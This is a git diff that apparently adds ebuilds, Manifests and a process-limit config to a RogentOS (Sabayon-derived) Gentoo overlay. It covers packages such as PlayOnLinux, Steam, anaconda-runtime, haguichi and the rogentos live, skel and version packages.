+	prepgamesdirs
+
+	if [ -f "/usr/bin/python2.6" ]; then
+		addwrite /usr/local/bin/
+		if [ ! -f "/usr/local/bin/python2.6" ]; then
+			dosym /usr/bin/python2.6 /usr/local/bin/ || die
+			else
+			echo "The file already existed"
+			rm /usr/local/bin/python2.6 || die
+			dosym /usr/bin/python2.6 /usr/local/bin/ || die
+			echo "Replaced it"
+		fi
+		if [ ! -f "/usr/local/bin/python2.6-config" ]; then
+			dosym /usr/bin/python-config-2.6 /usr/local/bin/python2.6-config || die
+			else
+			echo "The file already existed"
+			rm /usr/local/bin/python2.6-config || die
+			dosym /usr/bin/python-config-2.6 /usr/local/bin/python2.6-config || die
+			echo "Replaced it"
+		fi
+	else
+	ewarn "There is no python2.6, you should emerge python2.6"
+	fi
+}
+
+pkg_postinst() {
+	games_pkg_postinst
+	python_mod_optimize "${GAMES_DATADIR}/${PN}"
+}
+
+pkg_postrm() {
+	python_mod_cleanup "${GAMES_DATADIR}/${PN}"
+
+	elog "Installed softwares and games with playonlinux have not been removed."
+	elog "To remove them, you can re-install playonlinux and remove them using it"
+	elog "or do it manually by removing .PlayOnLinux/ in your home directory."
+}
diff --git a/app-emulation/playonlinux/playonlinux-4.2.1.ebuild b/app-emulation/playonlinux/playonlinux-4.2.1.ebuild
new file mode 100644
index 00000000..8b22bda7
--- /dev/null
+++ b/app-emulation/playonlinux/playonlinux-4.2.1.ebuild
@@ -0,0 +1,133 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-emulation/playonlinux/playonlinux-4.1.1.ebuild,v 1.1 2012/06/16 19:12:24 pacho Exp $
+
+EAPI="4"
+PYTHON_DEPEND="2"
+
+inherit eutils python games
+
+MY_PN="PlayOnLinux"
+
+DESCRIPTION="Set of scripts to easily install and use Windows games and software"
+HOMEPAGE="http://playonlinux.com/"
+SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="winbind"
+
+DEPEND=""
+RDEPEND="app-emulation/wine
+	app-arch/cabextract
+	app-arch/p7zip
+	app-arch/unzip
+	app-crypt/gnupg
+	net-analyzer/netcat6
+	dev-python/wxpython:2.8
+	|| ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] )
+	net-misc/wget
+	x11-apps/mesa-progs
+	x11-terms/xterm
+	media-gfx/icoutils
+	winbind? ( net-fs/samba[winbind] ) "
+
+S=${WORKDIR}/${PN}
+
+# TODO:
+# Having a real install script and let playonlinux use standard filesystem
+# 	architecture to prevent having everything installed into GAMES_DATADIR
+# It will let using LANGUAGES easily
+# How to deal with Microsoft Fonts installation asked every time ?
+# How to deal with wine version installed ? (have a better mgmt of system one)
+# Look at debian pkg: http://packages.debian.org/sid/playonlinux
+
+pkg_setup() {
+	python_set_active_version 2
+	python_pkg_setup
+	games_pkg_setup
+}
+
+src_prepare() {
+	sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \
+		|| die
+	sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables playonlinux || die
+	python_convert_shebangs -r 2 .
+}
+
+src_install() {
+	# all things without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}"
+	doins -r resources lang lib etc plugins
+
+	# bash/ install
+	exeinto "${GAMES_DATADIR}/${PN}/bash"
+	doexe bash/*
+	#exeinto "${GAMES_DATADIR}/${PN}/bash/terminals"
+	#doexe bash/terminals/*
+	exeinto "${GAMES_DATADIR}/${PN}/bash/expert"
+	doexe bash/expert/*
+
+	# python/ install
+	exeinto "${GAMES_DATADIR}/${PN}/python"
+	doexe python/*
+	# sub dir without exec permissions
+	insinto "${GAMES_DATADIR}/${PN}/python"
+	doins -r python/lib
+
+	# main executable files
+	exeinto "${GAMES_DATADIR}/${PN}"
+	doexe ${PN}{,-pkg,-bash,-shell,-url_handler}
+
+	# making a script to run playonlinux from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher
+	newgamesbin playonlinux_launcher playonlinux
+
+	# making a script to run playonlinux-cmd from ${GAMES_BINDIR}
+	echo "#!/bin/bash" > ${PN}_cmd_launcher
+	echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher
+	newgamesbin playonlinux_cmd_launcher playonlinux-cmd
+
+	dodoc CHANGELOG
+
+	doicon etc/${PN}.png
+	domenu etc/${MY_PN}.desktop
+	prepgamesdirs
+
+	if [ -f "/usr/bin/python2.6" ]; then
+		addwrite /usr/local/bin/
+		if [ ! -f "/usr/local/bin/python2.6" ]; then
+			dosym /usr/bin/python2.6 /usr/local/bin/ || die
+			else
+			echo "The file already existed"
+			rm /usr/local/bin/python2.6 || die
+			dosym /usr/bin/python2.6 /usr/local/bin/ || die
+			echo "Replaced it"
+		fi
+		if [ ! -f "/usr/local/bin/python2.6-config" ]; then
+			dosym /usr/bin/python-config-2.6 /usr/local/bin/python2.6-config || die
+			else
+			echo "The file already existed"
+			rm /usr/local/bin/python2.6-config || die
+			dosym /usr/bin/python-config-2.6 /usr/local/bin/python2.6-config || die
+			echo "Replaced it"
+		fi
+	else
+	ewarn "There is no python2.6, you should emerge python2.6"
+	fi
+}
+
+pkg_postinst() {
+	games_pkg_postinst
+	python_mod_optimize "${GAMES_DATADIR}/${PN}"
+}
+
+pkg_postrm() {
+	python_mod_cleanup "${GAMES_DATADIR}/${PN}"
+
+	elog "Installed softwares and games with playonlinux have not been removed."
+	elog "To remove them, you can re-install playonlinux and remove them using it"
+	elog "or do it manually by removing .PlayOnLinux/ in your home directory."
+}
diff --git a/app-emulation/steam/Manifest b/app-emulation/steam/Manifest
new file mode 100644
index 00000000..a49b07e3
--- /dev/null
+++ b/app-emulation/steam/Manifest
@@ -0,0 +1 @@
+DIST steam_1.0.0.45.tar.gz 2340210 SHA256 58f42d2d4980dd9a66445a2b60a6d336140a6ee6171803c6f925b5d1b2462942 SHA512 a36a769478145d4e85ac051d2d3b8f27783462c9dc5f3ce6e2a8a3acbe7f92b11f026623c968c3b561142dd14cf607c179bbd4cea148f546db5208ee38a4e763 WHIRLPOOL bb48d1c6f0454c4b05dd63ecdcef3e1b11854e9874d270670d2bbad21c0bb4590bee6896e1a07b914c593428c106d82d8c683db63db807c398f371bdca8a1ff1
diff --git a/app-emulation/steam/steam-1.0.0.45.ebuild b/app-emulation/steam/steam-1.0.0.45.ebuild
new file mode 100644
index 00000000..6a1e1ba2
--- /dev/null
+++ b/app-emulation/steam/steam-1.0.0.45.ebuild
@@ -0,0 +1,41 @@
+EAPI=5
+
+inherit eutils
+
+DESCRIPTION="Digital distribution client bootstrap package"
+HOMEPAGE="http://steampowered.com/"
+SRC_URI="http://repo.steampowered.com/${PN}/pool/${PN}/s/${PN}/${PN}_${PV}.tar.gz"
+
+LICENSE="custom"
+SLOT="0"
+KEYWORDS="amd64 x86"
+
+EMUL_X86_VER=20120520
+
+RDEPEND="
+		virtual/ttf-fonts
+		dev-util/desktop-file-utils
+		x11-themes/hicolor-icon-theme
+		net-misc/curl
+		sys-apps/dbus
+		media-libs/freetype
+		x11-libs/gdk-pixbuf
+		gnome-extra/zenity
+		amd64?	(
+					>=app-emulation/emul-linux-x86-xlibs-${EMUL_X86_VER}
+					>=app-emulation/emul-linux-x86-soundlibs-${EMUL_X86_VER}
+					>=app-emulation/emul-linux-x86-opengl-${EMUL_X86_VER}
+		)
+		x86?	(
+					media-libs/alsa-lib
+					media-libs/mesa
+					x11-libs/libX11
+		)"
+
+S=${WORKDIR}/${PN}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "make install failed"
+	rm -rf "${D}"/usr/bin/steamdeps || die # we don't use apt-get
+	dosym /bin/true /usr/bin/steamdeps || die # create blank steamdeps
+}
diff --git a/app-misc/anaconda-runtime/Manifest b/app-misc/anaconda-runtime/Manifest
new file mode 100644
index 00000000..48c262e3
--- /dev/null
+++ b/app-misc/anaconda-runtime/Manifest
@@ -0,0 +1,2 @@
+EBUILD anaconda-runtime-1.1-r1.ebuild 1150 SHA256 792e849b32ccb260c4f8f4b2f2feca2a55e438a17f36a5d477dc48f43569d5d3 SHA512 aeeabf2bd6775eb5739dcb4e813ad68778031d4bc5c26876ee289064029d3c2935f233c6cee7278987ed5b9cfbeb05ec618fc4bdd4c69a3a9e6a9e69be8d7a8f WHIRLPOOL dac1920de065781b167fd501eaf022df3aafa943b476ea783fec44b9b25f6bd02d1758ed777d4c939bd460390032bb304a41f4541ca9ee569338ef9ad7530c83
+EBUILD anaconda-runtime-1.1-r3.ebuild 1104 SHA256 80ada99bd3cc1e2b68380d3b1147e97272a260a63992e157989d9d46e40ce2cb SHA512 7d1700f7703488952f9efd5b493c0c1f328998d1dc533a1670c99b5758244f4c847cfe5c574524fd09bab8a02190f3e35d0262dade58d52ce46e7d777bc310fb WHIRLPOOL 925d68cc0621494550610b274ae41700e494c4c3602272e2dc65d27ab620a17b6f213e2fd993597ce296259d59d5c394c9790580e0a8f004f414ae34c37ae59d
diff --git a/app-misc/anaconda-runtime/anaconda-runtime-1.1-r1.ebuild b/app-misc/anaconda-runtime/anaconda-runtime-1.1-r1.ebuild
new file mode 100644
index 00000000..206c58ff
--- /dev/null
+++ b/app-misc/anaconda-runtime/anaconda-runtime-1.1-r1.ebuild
@@ -0,0 +1,51 @@
+# Copyright 2004-2010 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+EAPI="2"
+
+DESCRIPTION="Anaconda Installer runtime meta-package (containing all the runtime dependencies)"
+SRC_URI=""
+
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~x86"
+SLOT="0"
+
+DEPEND=""
+RDEPEND="app-admin/system-config-date
+	app-admin/system-config-users
+	>=app-misc/rogentoslive-tools-1
+	>=app-misc/rogentos-version-1
+	app-text/xmlto
+	dev-libs/elfutils
+	dev-libs/libnl
+	dev-libs/libxml2[python]
+	dev-python/pyblock
+	>=dev-python/python-cryptsetup-0.1.4
+	dev-python/python-meh
+	dev-python/python-nss
+	dev-python/python-report
+	dev-python/urlgrabber
+	dev-util/pykickstart
+	net-misc/curl
+	net-misc/dhcp
+	net-misc/fcoe-utils
+	>=net-misc/networkmanager-0.7.2
+	sys-apps/dmidecode
+	sys-apps/language-configuration-helpers
+	>=sys-boot/grub-1.98
+	sys-boot/makebootfat
+	sys-fs/btrfs-progs
+	sys-fs/cryptsetup
+	sys-fs/dosfstools
+	sys-fs/e2fsprogs
+	sys-fs/jfsutils
+	sys-fs/mdadm
+	sys-fs/multipath-tools
+	|| ( sys-fs/ntfsprogs sys-fs/ntfs3g[ntfsprogs] )
+	sys-fs/reiserfsprogs
+	sys-fs/squashfs-tools
+	sys-fs/xfsprogs
+	sys-libs/cracklib
+	sys-libs/libuser
+	sys-libs/slang"
diff --git a/app-misc/anaconda-runtime/anaconda-runtime-1.1-r3.ebuild b/app-misc/anaconda-runtime/anaconda-runtime-1.1-r3.ebuild
new file mode 100644
index 00000000..4ea75cd9
--- /dev/null
+++ b/app-misc/anaconda-runtime/anaconda-runtime-1.1-r3.ebuild
@@ -0,0 +1,50 @@
+# Copyright 2004-2010 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+EAPI="2"
+
+DESCRIPTION="Anaconda Installer runtime meta-package (containing all the runtime dependencies)"
+SRC_URI=""
+
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~x86"
+SLOT="0"
+
+DEPEND=""
+RDEPEND="app-admin/system-config-date
+	app-admin/system-config-users
+	>=app-misc/rogentos-live-1
+	>=app-misc/rogentos-version-1
+	app-text/xmlto
+	dev-libs/elfutils
+	dev-libs/libnl
+	dev-libs/libxml2[python]
+	dev-python/pyblock
+	>=dev-python/python-cryptsetup-0.1.4
+	dev-python/python-meh
+	dev-python/python-nss
+	dev-python/python-report
+	dev-python/urlgrabber
+	dev-util/pykickstart
+	net-misc/curl
+	net-misc/dhcp
+	net-misc/fcoe-utils
+	>=net-misc/networkmanager-0.7.2
+	sys-apps/dmidecode
+	>=sys-boot/grub-1.98
+	sys-boot/makebootfat
+	sys-fs/btrfs-progs
+	sys-fs/cryptsetup
+	sys-fs/dosfstools
+	sys-fs/e2fsprogs
+	sys-fs/jfsutils
+	sys-fs/mdadm
+	sys-fs/multipath-tools
+	|| ( sys-fs/ntfsprogs sys-fs/ntfs3g[ntfsprogs] )
+	sys-fs/reiserfsprogs
+	sys-fs/squashfs-tools
+	sys-fs/xfsprogs
+	sys-libs/cracklib
+	sys-libs/libuser
+	sys-libs/slang"
diff --git a/app-misc/haguichi/Manifest b/app-misc/haguichi/Manifest
new file mode 100644
index 00000000..f25a5500
--- /dev/null
+++ b/app-misc/haguichi/Manifest
@@ -0,0 +1,2 @@
+DIST haguichi-1.0.17-clr4.0.tar.gz 267311 SHA256 0a8ad60c2e39a448dbb9902d21ff23080a1c24e1df964df30bd1bd04b4c9f31d SHA512 b432ca0c9883555fb2c40abd4ccd5252154f24c41c0e6df6fcf11e4aa89312273b15b1ce7b3129364568e2a0232cb69a875682d7f14d7448ba9b01dca5036dd5 WHIRLPOOL c1aff8a81f1316dc535a9b583f2042162ad3f9467ea94e04410e98a7caf51f17cf1ba3b61f37c0bc09e62b7e4f6f164321e041eaf8d967ea750dbb0c1fe29229
+EBUILD haguichi-1.0.17.ebuild 1238 SHA256 85b26bb286fcb603430e143626bb25af8929b22636925e566ae57925afe02693 SHA512 bb80933440c1ecf7e0073fd89377d904ca99ba5a800834b332d357c72df499dc0f941e1804b40e2678af12e8781629dd3c93e6867b18a61a0ca6d809c835005d WHIRLPOOL 42f7e18a0c4984984feb2eaf1f5e077d67ca9969df313f802b0dfcdb22d72d1031b90832eab14de9351123fa7548f8afc7b439b11afd553e8f61ecd7caa93af8
diff --git a/app-misc/haguichi/haguichi-1.0.17.ebuild b/app-misc/haguichi/haguichi-1.0.17.ebuild
new file mode 100644
index 00000000..5bf1bd0e
--- /dev/null
+++ b/app-misc/haguichi/haguichi-1.0.17.ebuild
@@ -0,0 +1,51 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib toolchain-funcs
+
+DESCRIPTION="Lunduke made Linux Tycoon"
+HOMEPAGE="http://lunduke.com/?page_id=2646"
+SRC_URI="http://launchpad.net/haguichi/1.0/1.0.17/+download/${PN}-${PV}-clr4.0.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+
+RDEPEND="x11-libs/pango
+	dev-dotnet/gtk-sharp
+	dev-dotnet/notify-sharp
+	dev-dotnet/gconf-sharp
+	dev-dotnet/ndesk-dbus
+	dev-dotnet/ndesk-dbus-glib
+        x11-libs/pixman
+        amd64? (
+                app-emulation/emul-linux-x86-gtklibs
+                app-emulation/emul-linux-x86-baselibs   )"
+DEPEND=""
+
+S="${WORKDIR}/${PN}-${PV}"
+
+src_compile() {
+	#cd "{S}" || die
+        emake \
+                DEBUG="" \
+                "CFLAGS=${CFLAGS}" \
+                "LIBDIR=$(get_libdir)" \
+                || die "emake failed"
+}
+
+src_install() {
+	cd /usr/lib64/
+	dodir ${PN} || die
+	doins "${S}"/bin/Release/haguichi || die
+        doins "${S}"/bin/Release/Haguichi.exe || die
+
+	cd /usr/share/icons || die
+	doins "${S}"/bin/Release/icons/* || die
+
+	cd /usr/share/applications || die
+	doins "${S}"/bin/Release/applications/Haguichi || die
+}
diff --git a/app-misc/rogentos-live/rogentos-live-1.ebuild b/app-misc/rogentos-live/rogentos-live-1.ebuild
new file mode 100644
index 00000000..3a47607f
--- /dev/null
+++ b/app-misc/rogentos-live/rogentos-live-1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2004-2013 RogentOS
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+EGIT_REPO_URI="git://github.com/RogentOS/rogentos-live.git"
+EGIT_COMMIT="v${PV}"
+
+inherit eutils systemd git-2
+
+DESCRIPTION="RogentOS live image scripts and tools"
+HOMEPAGE="http://www.sabayon.org"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="amd64 arm x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="!app-misc/livecd-tools
+	app-admin/eselect-opengl
+	dev-util/dialog
+	sys-apps/gawk
+	sys-apps/pciutils
+	sys-apps/keyboard-configuration-helpers
+	sys-apps/sed"
+
+src_install() {
+	emake DESTDIR="${D}" SYSV_INITDIR="/etc/init.d" \
+		SYSTEMD_UNITDIR="$(systemd_get_unitdir)" \
+		install || die
+}
diff --git a/app-misc/rogentos-live/rogentos-live-2-r1.ebuild b/app-misc/rogentos-live/rogentos-live-2-r1.ebuild
new file mode 100644
index 00000000..3f028a48
--- /dev/null
+++ b/app-misc/rogentos-live/rogentos-live-2-r1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2004-2013 RogentOS
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+EGIT_REPO_URI="git://github.com/Rogentos/rogentos-live.git"
+#EGIT_COMMIT="v${PV}"
+
+inherit eutils systemd git-2
+
+DESCRIPTION="Rogentos live image scripts and tools"
+HOMEPAGE="http://www.rogentos.ro"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="amd64 arm x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="!app-misc/livecd-tools
+	app-admin/eselect-opengl
+	dev-util/dialog
+	sys-apps/gawk
+	sys-apps/pciutils
+	sys-apps/keyboard-configuration-helpers
+	sys-apps/sed"
+
+src_install() {
+	emake DESTDIR="${D}" SYSV_INITDIR="/etc/init.d" \
+		SYSTEMD_UNITDIR="$(systemd_get_unitdir)" \
+		install || die
+}
diff --git a/app-misc/rogentos-live/rogentos-live-2.ebuild b/app-misc/rogentos-live/rogentos-live-2.ebuild
new file mode 100644
index 00000000..0a231479
--- /dev/null
+++ b/app-misc/rogentos-live/rogentos-live-2.ebuild
@@ -0,0 +1,33 @@
+# Copyright 2004-2013 RogentOS
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+EGIT_REPO_URI="git://github.com/Rogentos/rogentos-live.git"
+EGIT_COMMIT="v${PV}"
+
+inherit eutils systemd git-2
+
+DESCRIPTION="Rogentos live image scripts and tools"
+HOMEPAGE="http://www.rogentos.ro"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="amd64 arm x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="!app-misc/livecd-tools
+	app-admin/eselect-opengl
+	dev-util/dialog
+	sys-apps/gawk
+	sys-apps/pciutils
+	sys-apps/keyboard-configuration-helpers
+	sys-apps/sed
+	!app-misc/sabayon-live"
+
+src_install() {
+	emake DESTDIR="${D}" SYSV_INITDIR="/etc/init.d" \
+		SYSTEMD_UNITDIR="$(systemd_get_unitdir)" \
+		install || die
+}
diff --git a/app-misc/rogentos-skel/Manifest b/app-misc/rogentos-skel/Manifest
new file mode 100644
index 00000000..5d9a40f9
--- /dev/null
+++ b/app-misc/rogentos-skel/Manifest
@@ -0,0 +1 @@
+EBUILD rogentos-skel-1.ebuild 662 SHA256 c31df5a21115f48b27fdcff0bb576f63840f182edabb841c955d20b83125d50f SHA512 8636302174985f4ba9bcb6190bdc08e6a031af556d04e4819bb52b15e8cae2e4ed7a6af701b514baf90c1173676a5c6af927ceb5bf2d7e01eee0e03b0e0abd30 WHIRLPOOL 92930632090476d1e517cd499b9452e1dc12c02e6605798e6bf1a4a7a3f42ec197f8e0646e41c5367dbb44a919058658f2286d1e3c1193c212a948c9170f67fb
diff --git a/app-misc/rogentos-skel/rogentos-skel-1.ebuild b/app-misc/rogentos-skel/rogentos-skel-1.ebuild
new file mode 100644
index 00000000..224f8078
--- /dev/null
+++ b/app-misc/rogentos-skel/rogentos-skel-1.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2012 Sabayon Linux and Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+EGIT_REPO_URI="git://github.com/BlackNoxis/roskel.git"
+
+inherit eutils git-2 fdo-mime
+
+DESCRIPTION="Rogentos Linux skel tree"
+HOMEPAGE="http://www.rogentos.ro/"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+RDEPEND=""
+DEPEND="!>app-misc/rogentos-skel-1
+	!app-misc/sabayon-skel"
+
+src_install () {
+	dodir /etc/xdg/menus
+	cp "${S}"/* "${D}"/etc/ -Ra
+	chown root:root "${D}"/etc/skel -R
+
+	insinto /etc/bash/ || die "Failed to insinto"
+	doins "${S}"/skel/.bash/bashrc /etc/bash/ || die "Cannot copy bashrc"
+}
diff --git a/app-misc/rogentos-version/Manifest b/app-misc/rogentos-version/Manifest
new file mode 100644
index 00000000..dabcf8ff
--- /dev/null
+++ b/app-misc/rogentos-version/Manifest
@@ -0,0 +1,2 @@
+AUX 00-sabayon-anti-fork-bomb.conf 690 SHA256 80f397f12a746a73d48d90c010d6176c9e0661fbe118c770f97c165810caeee5 SHA512 da4c0ce2efacb3a420a73fc6ac533d17fef8e338bf6d3e784e52e49f1098504e985d4a24a96b4f67c1ceda45942c592423de3f5699cefd4aa148c23f5414acd3 WHIRLPOOL dc283b03fdd9acf8bb27c2904a40f94ebc5c45f81bd4f46c825fa5e999975d5663c25bf1d8226bb4b9e0c31791295dd75e0ef2ed3ed343defaf21557aba71d19
+EBUILD rogentos-version-1.ebuild 1110 SHA256 76520b13c997d823f3fbead4001794ace9ec962756fd145a5b613165ac5b0d89 SHA512 effab571839d3f6a7c29e0eec3f9e6bc7ea9aeacf85f4781b0ccfe62e13cdb6cd2f0548cc68f41c10cad4f6c37235bfe46334ac3a74e8863c2be24a11a9d718e WHIRLPOOL 5f7a0d29389f3126f512f4b44e894a5e911ee9f51d3175ebb24cf938bdab37ca9d48babe3abf9d34db874e4a58eb8a65cb264ffa572cdb6edeb50a1003f39b31
diff --git a/app-misc/rogentos-version/files/00-sabayon-anti-fork-bomb.conf b/app-misc/rogentos-version/files/00-sabayon-anti-fork-bomb.conf
new file mode 100644
index 00000000..4dcf561f
--- /dev/null
+++ b/app-misc/rogentos-version/files/00-sabayon-anti-fork-bomb.conf
@@ -0,0 +1,20 @@
+# 00-sabayon-anti-fork-bomb.conf
+#
+# This file estabilishes Sabayon Linux default process 
+# limits to defend the system against malicious or faulty
+# code that could potentially make the system unusable by
+# spawning an excessive amount of processes.
+#
+# The root account is not affected by process number
+# limitations. This way a root console can always kill any
+# offending process, but an offending root process could
+# still block the system.
+#
+# Each line describes a limit for a user in the form:
+#
+# <domain>        <type>  <item>  <value>
+
+*          soft          nproc          1300
+*          hard          nproc          1800
+root       -             nproc          infinity
+
diff --git a/app-misc/rogentos-version/rogentos-version-1.ebuild b/app-misc/rogentos-version/rogentos-version-1.ebuild
new file mode 100644
index 00000000..822304c4
--- /dev/null
+++ b/app-misc/rogentos-version/rogentos-version-1.ebuild
@@ -0,0 +1,48 @@
+# Copyright 2004-2011 Sabayon Linux
+# Copyright 2012 Rogentos Linux
+# Original Authors Sabayon Team
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+DESCRIPTION="Rogentos System Release virtual package"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI=""
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+
+IUSE=""
+DEPEND=""
+RDEPEND="app-admin/eselect-python
+	dev-lang/python:2.7
+	sys-devel/base-gcc:4.6
+	sys-devel/gcc-config"
+
+ROGENTOS_VER="${PV}"
+ROGENTOS_HEADER="Rogentos Linux"
+ROGENTOS_RELEASE="rogentos-release"
+
+src_unpack () {
+	if use x86; then
+		echo "${ROGENTOS_HEADER} x86 ${ROGENTOS_VER}" > "${ROGENTOS_RELEASE}"
+	else
+		echo "${ROGENTOS_HEADER} amd64 ${ROGENTOS_VER}" > "${ROGENTOS_RELEASE}"
+	fi
+}
+
+src_install () {
+	insinto /etc
+	doins rogentos-release
+	dosym /etc/rogentos-release /etc/system-release
+	# Adding sabayon anti-fork bomb
+        insinto /etc/security/limits.d
+        doins "${FILESDIR}/00-sabayon-anti-fork-bomb.conf"
+}
+
+pkg_postinst() {
+	# Setup Python 2.7
+	eselect python update --ignore 3.0 --ignore 3.1 --ignore 3.2 --ignore 3.3 --ignore 3.4
+}
diff --git a/app-misc/rogentoslive-tools/Manifest b/app-misc/rogentoslive-tools/Manifest
new file mode 100644
index 00000000..383f6061
--- /dev/null
+++ b/app-misc/rogentoslive-tools/Manifest
@@ -0,0 +1,50 @@
+AUX 1.0/bashlogin 116 SHA256 9385b60eb67e44d36e7806968df3af7dadd57e7e2a392ba4e3b588e51e8fc29d SHA512 c37c20a53896da635a2bf7888e2e0d88f712c1f8cc683dc37cf6f33ba98e0f08d2635eb2448f89376d9699a28e6b63550b0638761b68423291fad913064aa488 WHIRLPOOL 43ac0a64e87f6edd58ec06595986f540b9edbc204eecdf895951b31eb3bc297fdef4c873e5df5cc064311ce166bb49e0776fdc3879cf65e69897c477d78e7cf2
+AUX 1.0/cdeject 567 SHA256 87b2b6f61d6afc109818b12fac463b4603e2329b15575b72e72eb20eaafcfcce SHA512 84bf11654af3ea5e49e8c5140713c8c6bd21b1e755880f6da58663e2d9c7aed923bc9fca51016606bfe96aaac0d82216432dd7a2bc4dd802a6f541987e2755f4 WHIRLPOOL ab093def1ed9dedb06962442d4bf94e227b0c325101ff86907693fa86866b700863fdde2f3fc82a42c078ba0f72497875ecb1e71910832b7c207f5cbb94f7a7c
+AUX 1.0/installer-gui 463 SHA256 3c035d37c7be182965fbaecd7eb4b698c6cda5c826ca8e563e6813522f26b45c SHA512 758c26069d474b8a312cd834a23918712340d70b1fe98b745fcd94f8a10e913c662868552595a618e5b28b3e903fe7872c0db4eeb69f7479f4cce5f420044a3c WHIRLPOOL 385f582b7aa3054b8170498a19b443f00a6a91ed82d6c35e201031ff118bfbd9c33b936f77de352600b4e5f7a82f9a26d716f1d000d3fdb0f2d4f4be392f770c
+AUX 1.0/installer-text 350 SHA256 f515c37518d7bfe41861bdc06290154f8d4921c8d5d1d5fcf082dcbcfd7eb0ae SHA512 7eb0098ebbb0a4f233999db2e7048d27551783ad408499725f3a8f2c37122df537de7704924f9024681ab473805b07fcbafc14346997a86ffae9fa61a26b546e WHIRLPOOL 2e89f4dde51d287f484af69130ee4ecb2f3a2b3917258f6746a6456537229536bb364147aab0693baab9bfea89061339bc16f2a103770f0e0625953a4b13cd0e
+AUX 1.0/livecd-functions.sh 17409 SHA256 8595c6c329bd5f762d626029d86ee7184b3ae0201e4553c7616b75d034c28dee SHA512 a3ba69ee64ebb20f6a1cce9dd11c2d7e2479a545ab97c2639c15fe53c4f75b7db9895f2db1c5e8d9cb16a95e1742ddb76702a3a8413b0b8c2def36621353fa60 WHIRLPOOL 5642b6aec64281289686f4442562ac90d24af7cc3ba4380d203b062c266325c9768572dca96358b24f21d7a39b9cda57efcd94e17cd8d593053227b33ee374c2
+AUX 1.0/livespawn 193 SHA256 256c51d66e8bcaa82e9a52ebf70fe947000dc43c2d9df0c73d045f624e615cbe SHA512 9e4d2f929c473560f47e86721be6bc65336a2adcc83a034ae945b1c5e2db21a215042b4d31a9b6b1865d40a12c92aa349df37149a4a48ec6c47680d584a65c3e WHIRLPOOL 291de20dab535565287f1b712f3be01cd67e262df71dde74d33f45fbc25a74116f372c09ad73cef1f94be8fd80dd4486d59ca41d3b5eb364dfd05f8e361de63b
+AUX 1.0/logscript.sh 3556 SHA256 cae5c18418c34fd6a22ab34e79ba3c2ea99ece6e5ebaebb3931e745d1b3c41f6 SHA512 a06682ca40d2804494bcd7081132a2b0a764d9230a59d28b8029a52ca77d5f8962bf9ca301f808db0c542ab4381531db5a4135509b9a69e487525a97aba26042 WHIRLPOOL 6d5629bb6fb144b59977c269ad1bcfcf6f56ddc65b6f29d85006b5b2f618893c31e6bb4c5d26ae054f9b582058db5d53c4e15094714b5fa68c8f70e385256b7f
+AUX 1.0/net-setup 1529 SHA256 41f5fdf35752837e69e958b7082339146c2c8e2e3470add2cd2eab4092d50d9a SHA512 22e394897b1bcfdb8ec9fba841316a14b235f22e61571e5731928eb6751b44a44d7cb2cc24c60c5f88b5216902933ffeceeb5b87ae358a91cd1a3a6368bbff76 WHIRLPOOL 2b2f366e4a93ebe0abb16f984efb296fc6e92ba1cd9c07309b683787ce65ca5bef3572454e5e955aaaf2786366a385a9b500f0645ac9d896aca6f700429bfb01
+AUX 1.0/opengl-activator 10039 SHA256 0090240f1c8cba0d9dae59dac4b472e4b73fc41e64cb178e786d1093af565eaf SHA512 1c93e2b9d6cea8db258e5fdd3c1d493f04a6e7f3ce3412e738551287e150a59793ec6180ba0858aff58e9dd47ce64d933d4b19706b33ee20291f9021dca12cf5 WHIRLPOOL 6270e25c0249c685f916ea9b4a0baf0a494c3fa8b2dacaca828fa9b910d641b6b84c39f4bc84b685571179068b38440e50115ad0cadfcf348561673cdf884ca8
